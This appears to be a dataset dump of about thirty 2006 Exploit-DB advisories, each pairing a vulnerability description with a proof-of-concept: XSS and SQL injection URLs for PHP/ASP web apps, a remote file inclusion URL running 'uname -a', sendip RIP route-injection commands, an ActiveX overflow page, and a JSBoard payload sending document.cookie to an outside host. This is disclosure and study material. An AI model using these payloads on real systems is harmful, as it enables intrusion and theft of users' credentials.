QLWD/code_shield huggingface dataset:
标题: MyBloggie 2.1.2/2.1.3 - BBCode IMG Tag HTML Injection EDB-ID: 27822 CVE: 2006-2269 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17865/info

MyBloggie is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

[img]javascript:alert('xss')[/img] URL: https://www.exploit-db.com/exploits/27822
标题: CyberBuild - 'browse0.htm?ProductIndex' Cross-Site Scripting EDB-ID: 27816 CVE: 2006-2178 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17829/info
   
CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/browse0.htm?ProductIndex=[XSS] URL: https://www.exploit-db.com/exploits/27816
标题: Albinator 2.0.8 - 'dlisting.php?cid' Cross-Site Scripting EDB-ID: 27810 CVE: 2006-2181 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/17826/info

Albinator is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/dlisting.php?cid=1[XSS] URL: https://www.exploit-db.com/exploits/27810
标题: PHP Linkliste 1.0 - 'Linkliste.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27812 CVE: 2006-2176 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17828/info

PHP Linkliste is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.0; other versions may also be vulnerable.

http://www.example.com/links.php?new_input=[XSS]&new_url=[XSS]&new_name=[XSS] URL: https://www.exploit-db.com/exploits/27812
标题: CyberBuild - 'login.asp?sessionid' Cross-Site Scripting EDB-ID: 27815 CVE: 2006-2178 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17829/info
  
CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/login.asp?SessionID=[XSS] URL: https://www.exploit-db.com/exploits/27815
标题: CyberBuild - 'result.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27817 CVE: 2006-2178 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17829/info
    
CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/include/result.asp?debug=print&cols=3&linecolor=%23AAAAAA&menu=category&body=bodyblue&bold=bodyheading&hlcolor=%2388C4FF&bgcolor=%23E0FFE0&menucolor=%23E0FFE0&hdcolor=%23B0B0B0&idcolor=%23FFFFFF&header=bodywhite&rowcolor=[XSS]
http://www.example.com/include/result.asp?debug=print&cols=3&linec
olor=%23AAAAAA&menu=category&body=bodyblue&bold=bodyheading&hlcolor=%2388C4FF&bgcolor=%23E0FFE0&menucolor=%23E0FFE0&hdcolor=%23B0B0B0&idcolor=%23FFFFFF&header=bodywhite&rowcolor=%23E0FFE0&row=bodyblack&label=bodyblue&heading=[XSS] URL: https://www.exploit-db.com/exploits/27817
标题: CyberBuild - 'browse0.htm?ProductIndex' SQL Injection EDB-ID: 27814 CVE: 2006-2179 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17829/info
 
CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/browse0.htm?ProductIndex=[SQL] URL: https://www.exploit-db.com/exploits/27814
标题: MyNews 1.6.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27809 CVE: 2006-2208 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17823/info

MyNews is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.6.2; other versions may also be vulnerable.

http://www.example.com/path/mynews.inc.php?hash="><script>alert(/DreamlorD/)</script>
http://www.example.com/path/mynews.inc.php?hash=cce496a942d7279c14d7da556c14c7b6&mnid=2&page="><script>alert(/DreamlorD/)</script> URL: https://www.exploit-db.com/exploits/27809
标题: Albinator 2.0.8 - 'showpic.php?preloadSlideShow' Cross-Site Scripting EDB-ID: 27811 CVE: 2006-2181 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/17826/info
 
Albinator is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/showpic.php?aid=21&uuid=175&pid=172&slide_show=1&slide_show_secs=0&preloadSlideShow=[XSS] URL: https://www.exploit-db.com/exploits/27811
标题: CyberBuild - 'login.asp?sessionid' SQL Injection EDB-ID: 27813 CVE: 2006-2179 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17829/info

CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/login.asp?SessionID=[SQL] URL: https://www.exploit-db.com/exploits/27813
标题: Pacheckbook 1.1 - 'index.php' Multiple SQL Injections EDB-ID: 27808 CVE: 2006-2209 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17821/info

Pacheckbook is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/custdemos/cmuuugy61u0m/index.php?action=add&transtype=|SQL]
http://www.example.com/custdemos/cmuuugy61u0m/index.php?action=edit&start=0&transtype=1&entry=|SQL| URL: https://www.exploit-db.com/exploits/27808
标题: Quagga Routing Software Suite 0.9x - RIPd RIPv1 RESPONSE Packet Route Injection EDB-ID: 27802 CVE: 2006-2224 类型: REMOTE 平台: LINUX 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17808/info
 
Quagga is susceptible to remote information-disclosure and route-injection vulnerabilities. The application fails to properly ensure that required authentication and protocol configuration options are enforced.
 
These issues allow remote attackers to gain access to potentially sensitive network-routing configuration information and to inject arbitrary routes into the RIP routing table. This may aid malicious users in further attacks against targeted networks.
 
Quagga versions 0.98.5 and 0.99.3 are vulnerable to these issues; other versions may also be affected.

sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -rv 1 -rc 2 -re 2:0:192.168.36.0:255.255.255.0:0.0.0.0:1 192.168.69.100 URL: https://www.exploit-db.com/exploits/27802
标题: BankTown ActiveX Control 1.4.2.51817/1.5.2.50209 - Remote Buffer Overflow EDB-ID: 27806 CVE: 2006-2233 类型: REMOTE 平台: WINDOWS 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17815/info

BankTown ActiveX control is prone to a buffer-overflow vulnerability. The software fails to perform sufficient bounds-checking of user-supplied input before copying it to an insufficiently sized memory buffer.

Invoking the object from a malicious website may trigger the condition. If the vulnerability were successfully exploited, this would corrupt process memory, resulting in arbitrary code execution. Arbitrary code would be executed in the context of the client application.

<snip code>
<BODY>
<OBJECT id="GotBT" width=0 height=0
classid="CLSID:C572979D-8383-4CCA-A37A-0F7CC3B62D81"
       CODEBASE="http://download.banktown.com/XXXXXXXXXXXXX/BtCxSFM20F.cab#version=1,4,2,51817">
</OBJECT>

<script language=javascript>
<!--
function go() {
        var str1 = "Hacked";
        var str2 = "http://www.hacked_X_.org/Magic_length/Magic_strings";
       val = GotBT.SetBannerUrl(str2, str1);
}
go();
</SCRIPT>
</body>
</snip code> URL: https://www.exploit-db.com/exploits/27806
标题: Fast Click SQL Lite 1.1.2/1.1.3 - 'show.php' Remote File Inclusion EDB-ID: 27807 CVE: 2006-2241 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17819/info

Fast Click SQL Lite is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue is reported to affect versions 1.1.3 and prior.

http://www.example.com/[path]/show.php?path=http://www.example.com/cmd.gif?&cmd=uname -a URL: https://www.exploit-db.com/exploits/27807
标题: Quagga Routing Software Suite 0.9x - RIPd RIPv1 Request Routing Table Disclosure EDB-ID: 27801 CVE: 2006-2223 类型: REMOTE 平台: LINUX 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17808/info

Quagga is susceptible to remote information-disclosure and route-injection vulnerabilities. The application fails to properly ensure that required authentication and protocol configuration options are enforced.

These issues allow remote attackers to gain access to potentially sensitive network-routing configuration information and to inject arbitrary routes into the RIP routing table. This may aid malicious users in further attacks against targeted networks.

Quagga versions 0.98.5 and 0.99.3 are vulnerable to these issues; other versions may also be affected.

sendip -p ipv4 -is 192.168.66.102 -p udp -us 520 -ud 520 -p rip -rv 1 -rc 1 -re 0:0:0:0:0:16 192.168.66.111 URL: https://www.exploit-db.com/exploits/27801
标题: 321soft PHP-Gallery 0.9 - 'index.php?path' Cross-Site Scripting EDB-ID: 27804 CVE: 2006-2210 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17812/info
 
PhP-Gallery is prone to an information-disclosure vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?path=[XSS] URL: https://www.exploit-db.com/exploits/27804
标题: ZenPhoto 0.9/1.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27796 CVE: 2006-2187 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/17779/info
 
Zenphoto is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Zenphoto versions prior to 1.0.3 are vulnerable to this issue.

http://www.example.com/photos/index.php?album=%3Cscript%3Ealert(&#039;XSS%20Vulnerable&#039;)%3B%3C/script%3E
http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAME&image=&#039;%3E%3Cscript%3Ealert(&#039;XSS%20Vulnerable&#039;)%3B%3C/script%3E URL: https://www.exploit-db.com/exploits/27796
标题: Pinnacle Cart 3.3 - 'index.php' Cross-Site Scripting EDB-ID: 27800 CVE: 2006-2163 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/17794/info

Pinnacle Cart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?p=&address_id=&setbackurl=[XSS] URL: https://www.exploit-db.com/exploits/27800
标题: 321soft PHP-Gallery 0.9 - 'index.php?path' Arbitrary Directory Listing EDB-ID: 27803 CVE: 2006-2211 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17812/info

PhP-Gallery is prone to an information-disclosure vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?path=/etc
http://www.example.com/index.ph?path=/tmp URL: https://www.exploit-db.com/exploits/27803
标题: JSBoard 2.0.10/2.0.11 - 'login.php' Cross-Site Scripting EDB-ID: 27794 CVE: 2006-2109 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/17778/info

JSBoard is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/jsboard/login.php?table=<script>document.location=&#039;http://www.example.com/cgi-bin/cookie.cgi&#039;%2Bdocument.cookie</script> URL: https://www.exploit-db.com/exploits/27794
标题: Virtual Hosting Control System 2.4.7.1 - 'Server_day_stats.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27799 CVE: 2006-2174 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/17790/info

Virtual Hosting Control System is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/admin/server_day_stats.php?year=2006&month=05&day=2[xss]
http://www.example.com/admin/server_day_stats.php?year=2006&month=05[xss]&day=2
http://www.example.com/admin/server_day_stats.php?year=2006[xss]&month=05&day=2 URL: https://www.exploit-db.com/exploits/27799
标题: GeoBlog MOD_1.0 - 'viewcat.php' Cross-Site Scripting EDB-ID: 27798 CVE: 2006-2177 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/17784/info

GeoBlog is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path to geoblog]/viewcat.php?cat=%3Cscript%3Ealert(&#039;xss-010704&#039;);%3C/script%3E URL: https://www.exploit-db.com/exploits/27798
标题: ZenPhoto 0.9/1.0 - 'i.php?a' Cross-Site Scripting EDB-ID: 27795 CVE: 2006-2187 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/17779/info

Zenphoto is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Zenphoto versions prior to 1.0.3 are vulnerable to this issue.

http://www.example.com/photos/zen/i.php?a=%3Cscript%3Ealert(&#039;XSS%20Vulnerable&#039;)%3B%3C/script%3E&i=1%2Ejpg&s=thumb URL: https://www.exploit-db.com/exploits/27795
标题: Collaborative Portal Server 3.4 - 'POS' Cross-Site Scripting EDB-ID: 27793 CVE: 2006-2141 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/17774/info

Collaborative Portal Server is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Collaborative Portal Server version 3.4.0 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/popup_image?pos=[XSS] URL: https://www.exploit-db.com/exploits/27793
标题: 4Images 1.7.1 - 'top.php?sessionid' SQL Injection EDB-ID: 27780 CVE: 2006-2214 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/17748/info

4Images is prone to multiple, unspecified SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/top.php?sessionid=[SQL] URL: https://www.exploit-db.com/exploits/27780
标题: Xine 0.99.x - Filename Handling Remote Format String EDB-ID: 27791 CVE: 2006-2230 类型: DOS 平台: LINUX 发布日期: 2006-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/17769/info

The xine package is susceptible to a remote format-string vulnerability. 

This issue arises when the application handles specially crafted filenames. An attacker can exploit this vulnerability by crafting a malicious filename that contains format specifiers and then coercing unsuspecting users to try to execute the affected application with the malicious filename as an argument.

A successful attack may crash the application or lead to arbitrary code execution. 

Version 0.99.4 of xine is vulnerable to this issue; other versions may also be affected.

The following command is sufficient to demonstrate this issue:
xine %p-%p.mp3

This will result in a file-not-found dialog being displayed. The dialog will report that the file that was not found has a name similar to '0x811ac8e-0xbe1fdabc.mp3' URL: https://www.exploit-db.com/exploits/27791
标题: Apple Mac OSX 10.x - ImageIO OpenEXR Image File Remote Denial of Service EDB-ID: 27790 CVE: 2006-2277 类型: DOS 平台: OSX 发布日期: 2006-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/17768/info

ImageIO is susceptible to a remote denial-of-service vulnerability. This issue is do to a failure to properly process malicious OpenEXR image files.

This issue allows remote users to crash applications that use the ImageIO API, denying further service to users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27790.exr URL: https://www.exploit-db.com/exploits/27790
标题: TextFileBB 1.0.16 - Multiple Tag Script Injection Vulnerabilities EDB-ID: 27782 CVE: 2006-2143 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/17750/info

TextFileBB is prone to multiple script-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated content. 

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing the attacker to steal cookie-based authentication credentials. Other attacks are also possible. 

These issues are reported to affect version 1.0.16; other versions may also be vulnerable.

[code][.color=#00F"onMouseOver=&#039;alert(/xss/)&#039; x="]h0n0[/color][/code]
[code][.size=7" OnMouseOver="alert(/xss/)]Clicky Here [/size][/code]
[code][.url=http://" OnMouseOver="alert(/xss/)]hmm[/url][/code] URL: https://www.exploit-db.com/exploits/27782